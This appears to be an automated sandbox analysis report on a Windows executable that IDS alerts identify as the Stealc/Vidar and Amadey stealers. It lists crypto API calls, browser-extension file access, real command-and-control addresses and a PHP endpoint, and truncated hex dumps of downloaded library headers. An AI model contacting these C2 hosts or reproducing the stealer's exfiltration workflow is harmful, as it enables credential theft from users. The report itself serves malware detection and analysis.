Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE7E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6CE7E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE78670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6CE78670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE9A650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6CE9A650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6CEBA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEC0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6CEC0180
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE943B0 PK11_PubEncryptPKCS1,PR_SetError,	0_2_6CE943B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB7C00 SEC_PKCS12DecoderImportBags,PR_SetError,NSS_OptionGet,CERT_DestroyCertificate,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECKEY_DestroyPublicKey,SECITEM_ZfreeItem_Util,PR_SetError,SECOID_FindOID_Util,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,SECOID_GetAlgorithmTag_Util,SECITEM_CopyItem_Util,PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECITEM_ZfreeItem_Util,SECKEY_DestroyPublicKey,PK11_ImportPublicKey,SECOID_FindOID_Util,	0_2_6CEB7C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE77D60 PK11_ImportEncryptedPrivateKeyInfoAndReturnKey,SECOID_FindOID_Util,SECOID_FindOIDByTag_Util,PK11_PBEKeyGen,PK11_GetPadMechanism,PK11_UnwrapPrivKey,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,PK11_PBEKeyGen,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_ImportPublicKey,SECKEY_DestroyPublicKey,	0_2_6CE77D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEBBD30 SEC_PKCS12IsEncryptionAllowed,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,NSS_GetAlgorithmPolicy,	0_2_6CEBBD30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CEB9EC0 SEC_PKCS12CreateUnencryptedSafe,PORT_ArenaMark_Util,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,SEC_PKCS7DestroyContentInfo,	0_2_6CEB9EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE93FF0 PK11_PrivDecryptPKCS1,	0_2_6CE93FF0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\is-D0LMC.tmp\FunnyJellyfish.tmp

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Alert Window_is1

Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.7:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.23:443 -> 192.168.2.7:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.177.23:443 -> 192.168.2.7:49843 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.7:49995 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:50135 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.63:443 -> 192.168.2.7:50136 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1967238489.000000007013D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1964343598.000000006CF6F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1967238489.000000007013D000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 8MB later: 30MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49722 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.7:49722 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.7:49722
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.7:49722 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.7:49722
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.7:49722 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.7:50105 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.7:50110
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.7:50124 -> 185.215.113.43:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 21:04:29 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 21:04:52 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 21:04:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 21:04:55 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 21:04:57 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 